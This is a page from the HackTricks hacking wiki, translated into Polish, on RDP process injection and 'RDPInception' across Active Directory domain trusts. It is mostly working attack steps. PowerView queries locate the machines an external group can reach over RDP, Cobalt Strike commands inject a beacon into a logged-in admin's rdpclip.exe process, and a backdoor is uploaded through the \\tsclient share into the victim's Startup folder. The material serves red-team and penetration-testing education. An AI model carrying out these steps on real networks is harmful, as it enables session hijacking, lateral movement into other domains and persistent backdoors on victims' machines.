Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y doHackTricks i HackTricks Cloud github repos.
Wstrzykiwanie procesu RDP
Jeśli grupa zewnętrzna ma dostęp RDP do dowolnego komputera w bieżącej domenie, atakujący może skompromitować ten komputer i czekać na niego.
Gdy użytkownik uzyskał dostęp za pomocą RDP, atakujący może przejść do sesji tego użytkownika i wykorzystać jego uprawnienia w zewnętrznej domenie.
# Supposing the group "External Users" has RDP access in the current domain## lets find where they could access## The easiest way would be with bloodhound, but you could also run:Get-DomainGPOUserLocalGroupMapping -Identity "External Users" -LocalGroup "Remote Desktop Users" | select -expand ComputerName
#orFind-DomainLocalGroupMember-GroupName "Remote Desktop Users"| select -expand ComputerName# Then, compromise the listed machines, and wait til someone from the external domain logs in:net logonsLogged on users at \\localhost:EXT\super.admin# With cobalt strike you could just inject a beacon inside of the RDP processbeacon> psPID PPID Name Arch Session User---------------------------...49601012rdpclip.exe x64 3 EXT\super.adminbeacon> inject 4960 x64 tcp-local## From that beacon you can just run powerview modules interacting with the external domain as that user
Sprawdź inne sposoby kradzieży sesji za pomocą innych narzędzina tej stronie.
RDPInception
Jeśli użytkownik uzyska dostęp za pomocą RDP do maszyny, gdzie atakujący na niego czeka, atakujący będzie w stanie wstrzyknąć beacon w sesję RDP użytkownika, a jeśli ofiara zamontowała swoje dyski podczas korzystania z RDP, atakujący będzie mógł się do nich dostać.
W tym przypadku można po prostu skompromitowaćoryginalny komputer ofiary poprzez zapisanie tylnych drzwi w folderze uruchamiania.
# Wait til someone logs in:net logonsLogged on users at \\localhost:EXT\super.admin# With cobalt strike you could just inject a beacon inside of the RDP processbeacon> psPID PPID Name Arch Session User---------------------------...49601012rdpclip.exe x64 3 EXT\super.adminbeacon> inject 4960 x64 tcp-local# There's a UNC path called tsclient which has a mount point for every drive that is being shared over RDP.## \\tsclient\c is the C: drive on the origin machine of the RDP sessionbeacon> ls \\tsclient\cSize Type Last Modified Name-------------------------dir 02/10/202104:11:30 $Recycle.Bindir 02/10/202103:23:44 Bootdir 02/20/202110:15:23 Config.Msidir 10/18/201601:59:39 Documents and Settings[...]# Upload backdoor to startup folderbeacon> cd \\tsclient\c\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startupbeacon> upload C:\Payloads\pivot.exe